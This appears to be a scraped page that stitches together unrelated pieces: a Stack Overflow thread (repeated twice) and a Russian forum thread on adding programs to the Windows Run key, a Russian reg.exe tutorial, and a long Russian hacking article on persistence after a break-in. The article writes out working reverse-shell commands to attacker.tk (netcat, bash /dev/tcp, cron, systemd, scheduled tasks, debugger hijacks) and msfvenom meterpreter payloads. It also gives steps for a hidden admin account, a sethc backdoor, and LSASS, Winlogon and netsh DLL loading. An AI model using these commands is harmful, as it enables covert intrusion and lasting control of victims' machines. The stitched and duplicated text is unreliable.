i have a program that needs to be started when windows starts. I have created a string value in registry HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
For this application starts at startup but it shows an UAC prompt. Normally my application does not need UAC promt to start. If i make a shortcut in startup folder then it works perfectly without UAC but the the problem is i need to start it from registry. and sorry that i also cannot use task scheduler. Do anyone have an idea how to do it?
asked Jul 28, 2013 at 13:39
You can always start it for a single user, this command can be run by a normal user, and will enable the application on startup for just that user.
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "My App" /t REG_SZ /F /D "C:\MyAppPath\MyApp.exe"
You cannot add something to the local machine run registry key without at some point running something as Administrator.
Even task scheduler option would require something to run as admin to add the task in.
ST3
8,8263 gold badges68 silver badges92 bronze badges
answered Jul 29, 2013 at 5:56
SmithMartSmithMart
2,76119 silver badges36 bronze badges
3
I had trouble finding the registry entry for the user created afterwards so I also did
wmic useraccount where (name='user.user') get name,sid
or
reg query HKU
then
reg query HKU\SID\software\Microsoft\Windows\Currentversion\Run /v "MyApp"
in order to delete
reg delete HKU\SID\software\Microsoft\Windows\Currentversion\Run /v "MyApp" /f
answered Jul 19, 2022 at 12:47
i have a program that needs to be started when windows starts. I have created a string value in registry HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
For this application starts at startup but it shows an UAC prompt. Normally my application does not need UAC promt to start. If i make a shortcut in startup folder then it works perfectly without UAC but the the problem is i need to start it from registry. and sorry that i also cannot use task scheduler. Do anyone have an idea how to do it?
asked Jul 28, 2013 at 13:39
You can always start it for a single user, this command can be run by a normal user, and will enable the application on startup for just that user.
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "My App" /t REG_SZ /F /D "C:\MyAppPath\MyApp.exe"
You cannot add something to the local machine run registry key without at some point running something as Administrator.
Even task scheduler option would require something to run as admin to add the task in.
ST3
8,8263 gold badges68 silver badges92 bronze badges
answered Jul 29, 2013 at 5:56
SmithMartSmithMart
2,76119 silver badges36 bronze badges
3
I had trouble finding the registry entry for the user created afterwards so I also did
wmic useraccount where (name='user.user') get name,sid
or
reg query HKU
then
reg query HKU\SID\software\Microsoft\Windows\Currentversion\Run /v "MyApp"
in order to delete
reg delete HKU\SID\software\Microsoft\Windows\Currentversion\Run /v "MyApp" /f
answered Jul 19, 2022 at 12:47
Обновлено:
Опубликовано:
Что такое реестр Windows простыми словами.
Большинство команд лучше выполнять, запустив командную строку от имени администратора. Для этого найдите ее по ключу cmd — кликните по файлу правой кнопкой мыши — выберите Запустить от имени администратора. Или в Windows 10 правой кнопкой по Пуск — Командная строка (администратор).
Чтение данных
Добавление параметров
Удаление
Редактирование
Импорт
Описание всех команд
Выборка (query)
reg query HKLM\Software\Microsoft
* в данном примере будет выведен на экран список веток, которые находятся в HKLM\Software\Microsoft
Если в пути встречается пробел, необходимо весь путь поместить в кавычки, например:
reg query «HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings»
Чтобы вывести все вложенные ветки, запускаем команду с параметром /s:
reg query «HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings» /s
Добавление (add)
Синтаксис:
reg add <Ключ> /v <Параметр> /t <Тип> /d <Значение>
Например, добавим настройки использования прокси-сервера для браузера Internet Explorer:
reg add «HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings» /v ProxyEnable /t REG_DWORD /d 1
reg add «HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings» /v ProxyServer /t REG_SZ /d «192.168.0.15:3128»
reg add «HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings» /v ProxyOverride /t REG_SZ /d «<local>»
* где первая команда включает использование прокси-сервера; вторая прописывает использовать прокси с IP-адресом 192.168.0.15 и портом 3128; третья указывает не использовать прокси для локальных адресов.
Удаление (delete)
Синтаксис:
reg delete <Ключ> /v <Параметр>
Например, чтобы удалить одну из ранее созданной настройки, вводим следующую команду:
reg delete «HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings» /v ProxyEnable /f
Чтобы удалить всю ветку с ее параметрами и значениями, вводим такую команду:
reg delete «HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings» /va /f
Редактирование
Для редактирования значения нужно выполнить команду на добавление. Если ключ уже существует, команда заменить значение на новое:
reg add «HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings» /v ProxyEnable /t REG_DWORD /d 0 /f
* в данном примере будет изменено значение ключа ProxyEnable на 0 (или создан с таким значением); ключ f указывает на замену значения без вывода подтверждения.
Импорт
Во многих случаях проще выполнить импорт из файла, кликнув по нему дважды. Но, иногда необходимо выполнить импорт из командной строки:
reg import <путь к файлу>
Например:
reg import C:\Temp\import_proxy_settings.reg
* в данном примере мы импортировали настройки из файла import_proxy_settings.reg, который находится в каталоге C:\Temp\.
Краткое описание всех операций
В данной таблице приведены все возможные операции над коандой REG.
Операция | Описание |
---|---|
REG QUERY | Делает выборку ключей, параметров и значений |
REG ADD | Добавляет новую запись (параметр, ключ, значение) |
REG DELETE | Удаляет одну или несколько записей |
REG COPY | Копирует данные из одной ветки в другую |
REG SAVE | Сохраняет ветку со всеми параметрами и значениями в файл |
REG RESTORE | Восстанавливает ветку и данные из файла |
REG LOAD | Загружает данные в указанную ветку |
REG UNLOAD | Выгружает данные из указанной ветки |
REG COMPARE | Сравнивает две ветки |
REG EXPORT | Экспортирует все подразделы и параметры в файл .reg |
REG IMPORT | Импортирует все подразделы и параметры из файла .reg |
REG FLAGS | Показывает и устанавливает флаги для ветки |
Подробное описание всех ключей можно увидеть, введя команду reg <операция> /?
Например: reg add /?
Была ли полезна вам эта инструкция?
Да Нет
мастер ломания компов 30 / 36 / 1 Регистрация: 19.12.2011 Сообщений: 474 Записей в блоге: 1 |
|
1 |
|
Добавление файла в автозагрузку через реестр05.10.2015, 21:59. Показов 17765. Ответов 5
Впринципе, из названия темы уже понятна суть проблемы. Но есть одно но. Необходимо не просто тупо добавить файл в папочку «автозагрузка», а как то сделать это через реестр. Как? Я хз. В этом мне и нужна Ваша помощь. И еще проблема в том, что мне надо сей метод узнать на XP,7-орке и 8-орке. Смогете помочь?
0 |
10574 / 5538 / 864 Регистрация: 07.04.2013 Сообщений: 15,660 |
|
05.10.2015, 22:08 |
2 |
РешениеДля текущего юзера. Права администратора не требуются Windows Batch file reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "AnyName" /d "C:\Program Files\AnyProgram\Program.exe" Для всех юзеров. Соответственно права админа требуются Windows Batch file reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "AnyName" /d "C:\Program Files\AnyProgram\Program.exe"
1 |
мастер ломания компов 30 / 36 / 1 Регистрация: 19.12.2011 Сообщений: 474 Записей в блоге: 1 |
|
05.10.2015, 22:45 [ТС] |
3 |
Скажите, это работает и на 7, и на 8, и на хр?
0 |
10574 / 5538 / 864 Регистрация: 07.04.2013 Сообщений: 15,660 |
|
05.10.2015, 22:46 |
4 |
Да.
0 |
мастер ломания компов 30 / 36 / 1 Регистрация: 19.12.2011 Сообщений: 474 Записей в блоге: 1 |
|
05.10.2015, 22:47 [ТС] |
5 |
Большое. Чисто человеческое. Спасибо.
0 |
0 / 0 / 0 Регистрация: 17.03.2023 Сообщений: 2 |
|
29.04.2023, 10:15 |
6 |
vavun, при таком способе windows просит убедиться в безопасности и не рекомендует продолжать. Говорит могут быть непоправимые ошибки
0 |
Содержание
- 1 Шелл
- 2 Автозагрузка
- 3 Сервисы
- 4 Задачи
- 5 In-memory
- 6 Конфиги
- 7 Особые приемы в Linux
- 7.1 LD_PRELOAD
- 7.2 rc.local
- 8 Особые приемы в Windows
- 8.1 Дебаггер
- 8.2 Gflags
- 8.3 WMI
- 8.4 AppInit
- 8.5 Lsass
- 8.6 Winlogon
- 8.7 Netsh
- 8.8 Office
- 9 Выводы
Сегодняшнее статья посвящена Persistence. Мы рассмотрим основные и наиболее популярные способы, которые позволяют прописаться в системе после взлома — скрытно или не очень. Все рассматриваемые в статье способы по большей части не зависят от версии и конфигурации ОС и легко реализуемы.
Еще по теме: Как пользоваться Metasploit Framework
Итак, начнем. Когда хакер получил шелл на хосте, первое, что нужно сделать, — это обеспечить себе «постоянство» (persistence) в системе. Ведь во большинстве случаев на RCE может быть лишь одна попытка, а значит, нельзя потерять доступ из‑за каких‑нибудь ошибок.
Есть различные способы организовать возможность постоянного присутствия Persistence, у каждого свои достоинства и недостатки:
-
записать что‑либо на HDD:
- плюс: переживет перезагрузку;
- минусы: заметно для человека, заметно для антивируса;
-
внедрить код в RAM:
- плюс: незаметно для человека;
- минусы: не переживет перезагрузку, может быть заметно для антивируса;
-
изменить конфигурацию ОС:
- плюсы: незаметно для антивируса, переживет перезагрузку;
- минус: может быть заметно для человека.
Чаще всего при закреплении в системе все же приходится обращаться к диску, поскольку это единственный способ не вылететь из‑за случайной перезагрузки. В общем случае успешность такой персистентности зависит от двух факторов:
- насколько скрытно от пользователя прописан запуск бэкдора;
- насколько безобидно для антивируса тело бэкдора.
Очевидно, что с точки зрения закрепления Linux — более приоритетная система. Компьютеры с ним, как правило, редко обслуживаются пользователями и не перезагружаются месяцами. Да и как точка опоры они подходят больше. Хосты под управлением Linux удобны еще и потому, что они редко защищены антивирусом, а антивирус для персистентности — это ощутимая проблема.
В свою очередь, в Windows больше вариантов автозагрузки, что может помочь лучше замаскироваться в ее недрах. Ведь, в отличие от проникновения в Linux, нам почти всегда придется работать рядом с пользователем, опытным или не очень.
Если имеете дело не с одной целью, а с целой группой, весьма удобно использовать для машины атакующего доменное имя, а не IP. Тогда для каждой жертвы или группы жертв можно будет задать свое уникальное имя в DNS-зоне атакующего (далее в примерах — attacker.tk). Это позволяет эффективнее управлять жертвами. Выглядит это примерно так.
Если антивирусы не главная проблема, то в качестве reverse shell часто можно использовать простые nc.exe, ncat.exe и socat.exe. Все они обладают возможностями RAT и зачастую нормально проходят антивирус. Поскольку это программы, работающие из командной строки, можно сделать их запуск на машине жертвы незаметным. В Windows для этого достаточно поменять subsystem у исполняемого файла:
pe header → optional header nt fields → subsystem → GUI (0x0002) |
Описанные далее примеры помогут не только при закреплении на машине жертвы, но и для выявления фактов компрометации.
Анализ элементов автозагрузки — это часто поиск иголки в стоге сена. Обычно приходится судить по названию исполняемого файла, тому, где он находится (в правильных местах или где‑то в профиле пользователя), а также по названию и описанию компании‑разработчика, зашитым внутри файла. Впрочем, ничто не мешает атакующему подделать эти данные.
Антивирусы же, как правило, не удаляют записи в списках автозагрузки, а удаляют сами исполняемые файлы. Поэтому битая ссылка в автозагрузке — тревожный сигнал.
Во многих случаях для персистентности могут потребоваться права администратора. Это тоже может стать проблемой, ведь далеко не каждый шелл обладает нужными привилегиями. Поэтому в каждом примере я буду помечать символом
$ ввод непривилегированного пользователя, а
# — администратора. Для обнаружения будем использовать утилиту Autoruns, результаты вы можете наблюдать на скриншотах.
Шелл
Организовать персистентность можно прямо из командной строки. Чтобы шелл открывался всегда, используем команду с бесконечным циклом, уходящую в фон.
Windows
Вот как это работает в Windows:
cmd$> start cmd /C «for /L %n in (1,0,10) do ( nc.exe attacker.tk 8888 -e cmd.exe & ping -n 60 127.0.0.1 )» |
Linux
bash$> ( bash —c «while :; do bash -i >& /dev/tcp/attacker.tk/8888 0>&1; sleep 60; done»; )& bash$> nohup bash -c «while :; do bash —i >& /dev/tcp/attacker.tk/8888 0>&1; sleep 60; done« & |
- Плюсы: управляемый интервал запуска, подойдет любой пользователь.
- Минус: не переживет перезагрузку.
Автозагрузка
Говоря о персистентности, нельзя пройти мимо классической и всем известной автозагрузки. Ее преимущество в том, что она будет работать с правами любого, даже неадминистративного пользователя.
Windows
cmd$> copy meter.exe %APPDATA%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ cmd$> reg add «HKCU\Software\Microsoft\Windows\CurrentVersion\Run» /v persistence /t REG_SZ /d «C:\users\username\meter.exe» cmd#> copy meter.exe C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ cmd#> reg add «HKLM\Software\Microsoft\Windows\CurrentVersion\Run» /v persistence /t REG_SZ /d «C:\Windows\system32\meter.exe» |
Linux
bash$> echo «nc attacker.tk 8888 -e /bin/bash 2>/dev/null &» >> ~/.bashrc |
- Плюсы: переживает перезагрузку, подойдет любой пользователь.
- Минус: неуправляемый интервал запуска.
Сервисы
Использовать службу для закрепления более выгодно, чем автозагрузку, так как Service Manager будет сам перезапускать службу, если потребуется.
Для Windows создание службы потребует права администратора.
cmd#> sc create persistence binPath= «nc.exe -e \windows\system32\cmd.exe attacker.tk 8888» start= auto cmd#> sc failure persistence reset= 0 actions= restart/60000/restart/60000/restart/60000 cmd#> sc start persistence |
В Linux создать службу можно и с учетки простого пользователя. Вот варианты для рута и для простого пользователя.
bash#> vim /etc/systemd/system/persistence.service bash$> vim ~/.config/systemd/user/persistence.service |
Содержимое файла:
[Unit] Description=persistence [Service] ExecStart=/bin/bash —c ‘bash -i >& /dev/tcp/attacker.tk/8888 0>&1’ Restart=always RestartSec=60 [Install] WantedBy=default.target |
И запускаем созданную службу:
bash#> systemctl enable persistence.service bash#> systemctl start persistence.service bash$> systemctl —user enable persistence.service bash$> systemctl —user start persistence.service |
- Плюсы: переживает перезагрузку, управляемый интервал запуска, подходит любой пользователь.
- Минус: необходимы права администратора.
Задачи
Создание запланированной задачи — весьма удобный способ поддержания доступа. Заодно можно задать время и интервал запуска. Но делать это разрешено, как правило, только привилегированным пользователям.
Windows
cmd#> at 13:37 \temp\nc.exe -e \windows\system32\cmd.exe attacker.tk 8888 cmd#> schtasks /create /ru SYSTEM /sc MINUTE /MO 1 /tn persistence /tr «c:\temp\nc.exe -e c:\windows\system32\cmd.exe attacker.tk 8888» |
Linux
bash#> echo «* * * * * bash -i >& /dev/tcp/attacker.tk/8888 0>&1» >> /var/spool/cron/root bash#> echo $’SHELL=/bin/bash\n* * * * * root bash -i >& /dev/tcp/attacker.tk/8888 0>&1\n’> /etc/cron.d/pwn |
- Плюсы: переживает перезагрузку, управляемый интервал запуска.
- Минус: нужны права администратора/root.
In-memory
Внедрение бэкдора, который будет висеть в оперативный памяти, имеет смысл, если нужно закрепиться на целевой машине, не оставляя никаких следов. Антивирусы обычно слабо контролируют деятельность в памяти, поскольку это сопряжено с большим дополнительным расходом ресурсов. Даже опытный пользователь вряд ли заметит что‑то, что скрыто внутри легального процесса.
В качестве in-memory-бэкдора мы будем использовать meterpreter. Это, пожалуй, самый известный RAT, способный работать исключительно в памяти, не трогая при этом диск.
Windows
msfvenom —p windows/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=8888 —f raw —o meter32.bin exitfunc=thread StagerRetryCount=999999 cmd$> inject_windows.exe PID meter32.bin |
Linux
msfvenom —p linux/x86/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=8888 —f raw —o meter32.bin exitfunc=thread StagerRetryCount=999999 bash$> inject_linux PID meter32.bin |
Внедрить код мы можем не только в нативные процессы, но и в интерпретируемые, например интерпретатором Python:
msfvenom —p python/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=8888 —o meter.py exitfunc=thread StagerRetryCount=999999 $> pyrasite 12345 meter.py |
За максимальную скрытность платим потерей персистентности после перезагрузки.
- Плюсы: подойдет любой пользователь, трудно обнаружить человеку.
- Минусы: не переживает перезагрузку.
Поскольку вредоносный поток запускается вне какой‑либо библиотеки, Procexp часто показывает такой поток как запущенный от нулевого адреса.
Конфиги
Организация персистентности через изменение конфигурации ОС — отличный способ спрятаться от антивируса. Это единственный случай, когда мы не используем вообще никакой исполняемый код. Но применимо это, только если у нас есть прямой доступ к целевой машине.
Создание скрытого пользователя, от имени которого можно будет потом получить удаленный доступ, — это, пожалуй, самый известный вариант такой атаки.
Windows
cmd#> net user attacker p@ssw0rd /add cmd#> net localgroup administrators /add attacker cmd#> reg add «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList» /v attacker /t REG_DWORD /d 0 /f |
Linux
bash#> openssl passwd -1 -salt test bash#> echo ‘post:$1$test$pi/xDtU5WFVRqYS6BMU8X/:0:0::/:/bin/bash’ >> /etc/passwd |
Простое и эффективное внедрение закладки в Windows через RDP:
cmd#> reg add «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe» /v Debugger /t reg_sz /d «\windows\system32\cmd.exe» cmd#> reg add «HKLM\system\currentcontrolset\control\Terminal Server\WinStations\RDP-Tcp» /v UserAuthentication /t REG_DWORD /d 0x0 /f |
- Плюсы: трудно обнаружить антивирусом, переживает перезагрузку.
- Минусы: требует права администратора/root, не подходит, если машина за NAT или файрволом.
Особые приемы в Linux
Вот мы и добрались до трюков, которые сработают только в определенной ОС. Начнем с Linux.
LD_PRELOAD
В Linux для того, чтобы в каждый запускаемый процесс подгружался нужный нам код, можно использовать переменную LD_PRELOAD:
bash#> echo /path/to/meter.so >> /etc/ld.so.preload bash#> echo export LD_PRELOAD=/path/to/meter.so >> /etc/profile bash$> echo export LD_PRELOAD=/path/to/meter.so >> ~/.bashrc |
- Плюсы: переживает перезагрузку, подойдет любой пользователь.
- Минус: неуправляемый интервал запуска.
rc.local
Один раз после перезагрузки мы можем выполнить команды в rc.local.
bash#> echo «nc attacker.tk 8888 -e /bin/bash &» >> /etc/rc.local |
- Плюс: переживает перезагрузку.
- Минусы: неуправляемый интервал запуска, нужны права root.
Особые приемы в Windows
Здесь у нас будет больше интересных трюков!
Дебаггер
Если атакующий знает, что атакуемый пользователь часто запускает какую‑то программу, скажем калькулятор, то он может внедрить свой код в тело этой программы с помощью джойнера. Однако всякое вмешательство в исполняемые файлы неумолимо повышает уровень недоверия к ним со стороны антивируса. Куда более изящным исполнением будет перехват запуска:
cmd#> copy calc.exe _calc.exe cmd#> reg add «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe» /v Debugger /t reg_sz /d «cmd /C _calc.exe & c:\windows\nc.exe -e c:\windows\system32\cmd.exe attacker.tk 8888» /f |
Как только victim запустит, а затем закроет калькулятор, атакующий примет reverse shell.
- Плюс: переживает перезагрузку.
- Минус: требует права администратора.
Gflags
Почти таким же образом можно организовать запуск своего кода, когда пользователь закрывает определенную программу.
cmd#> reg add «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe» /v GlobalFlag /t REG_DWORD /d 512 cmd#> reg add «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe» /v ReportingMode /t REG_DWORD /d 1 cmd#> reg add «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe» /v MonitorProcess /d «nc -e \windows\system32\cmd.exe attacker.tk 8888» |
- Плюс: переживает перезагрузку.
- Минус: требует права администратора.
Autoruns этот способ не обнаруживает, но вы можете проверить ветку реестра:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit |
WMI
cmd#> wmic /NAMESPACE:»\\root\subscription» PATH __EventFilter CREATE Name=»persistence», EventNameSpace=»root\cimv2″,QueryLanguage=»WQL», Query=»SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA ‘Win32_PerfFormattedData_PerfOS_System'» cmd#> wmic /NAMESPACE:»\\root\subscription» PATH CommandLineEventConsumer CREATE Name=»persistence», ExecutablePath=»C:\users\admin\meter.exe»,CommandLineTemplate=»C:\users\admin\meter.exe» cmd#> wmic /NAMESPACE:»\\root\subscription» PATH __FilterToConsumerBinding CREATE Filter=»__EventFilter.Name=»persistence»», Consumer=»CommandLineEventConsumer.Name=»persistence»» |
- Плюсы: переживает перезагрузку, управляемый интервал запуска.
- Минус: требует права администратора.
AppInit
В Windows есть интересный способ внедрения библиотек в оконные приложения с помощью AppInit (они должны использовать user32.dll).
cmd#> reg add «HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows» /v LoadAppInit_DLLs /t reg_dword /d 0x1 /f cmd#> reg add «HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows» /v AppInit_DLLs /t reg_sz /d «c:\path\to\meter64.dll» /f cmd#> reg add «HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows» /v LoadAppInit_DLLs /t reg_dword /d 0x1 /f cmd#> reg add «HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows» /v AppInit_DLLs /t reg_sz /d «c:\path\to\meter32.dll» /f |
- Плюс: переживает перезагрузку.
- Минусы: требует права администратора, неуправляемый интервал запуска.
Lsass
Еще одна возможность — прописать библиотеку в системном процессе lsass. Это достаточно выгодное место, поскольку в данном процессе хранятся те самые учетные записи, которые мы извлекаем утилитой mimikatz.
cmd#> reg add «HKLM\system\currentcontrolset\control\lsa» /v «Notification Packages» /t reg_multi_sz /d «rassfm\0scecli\0meter» /f |
- Плюс: переживает перезагрузку.
- Минусы: требуются права администратора, неуправляемый интервал запуска, можно убить систему.
Winlogon
Чтобы каждый раз, как кто‑то из пользователей входит в систему, открывался шелл, можно использовать механизм Winlogon.
cmd#> reg add «HKLM\software\microsoft\windows nt\currentversion\winlogon» /v UserInit /t reg_sz /d «c:\windows\system32\userinit.exe,c:\windows\meter.exe» |
- Плюс: переживает перезагрузку.
- Минус: неуправляемый интервал запуска.
Netsh
Утилита настройки сети Netsh тоже позволяет подгружать произвольную библиотеку. Это открывает возможность организовать через нее импровизированную автозагрузку. Результат будет выглядеть безобидно, так как первоначально вызывается системный компонент Windows.
cmd#> c:\windows\syswow64\netsh.exe netsh> add helper c:\windows\meter32.dll cmd#> reg add «HKLM\Software\Microsoft\Windows\CurrentVersion\Run» /v persistence /t REG_SZ /d «C:\Windows\SysWOW64\netsh.exe» |
В итоге получаем такую цепочку: autorun → netsh.exe → meter.dll.
При этом meter.dll будет скрыт от глаз пользователя — он увидит лишь запуск легитимной Netsh, родной компонент Windows.
- Плюсы: переживает перезагрузку, сложно обнаружить пользователю.
- Минус: требует права администратора.
Office
Этот способ подойдет, если атакуемый пользователь часто работает с офисным пакетом. Не такая уж редкость!
cmd$> reg add «HKCU\Software\Microsoft\Office test\Special\Perf» /t REG_SZ /d C:\users\username\meter.dll |
- Плюсы: переживает перезагрузку, подойдет любой пользователь.
- Минус: неуправляемый интервал запуска.
Выводы
Мы рассмотрели основные и наиболее популярные варианты Persistence. Они по большей части не зависят от версии и конфигурации ОС и легко реализуемы. Универсального способа нет (иначе обнаружение было бы слишком простым!), и у каждого есть достоинства и недостатки. При выборе наша цель — сбалансировать надежность и скрытность.
Этим списком выбор, конечно же, не ограничивается, и все в конечном счете зависит только от вашей фантазии и изобретательности. В Windows хороший помощник в поиске новых возможностей для закрепления — все та же утилита Autoruns.
Однако выгодно расположенная в системе ссылка на бэкдор — это еще не все. О том, какой исполняемый файл для этого использовать и как при этом эффективно обойти антивирус, я расскажу в следующей своей статье.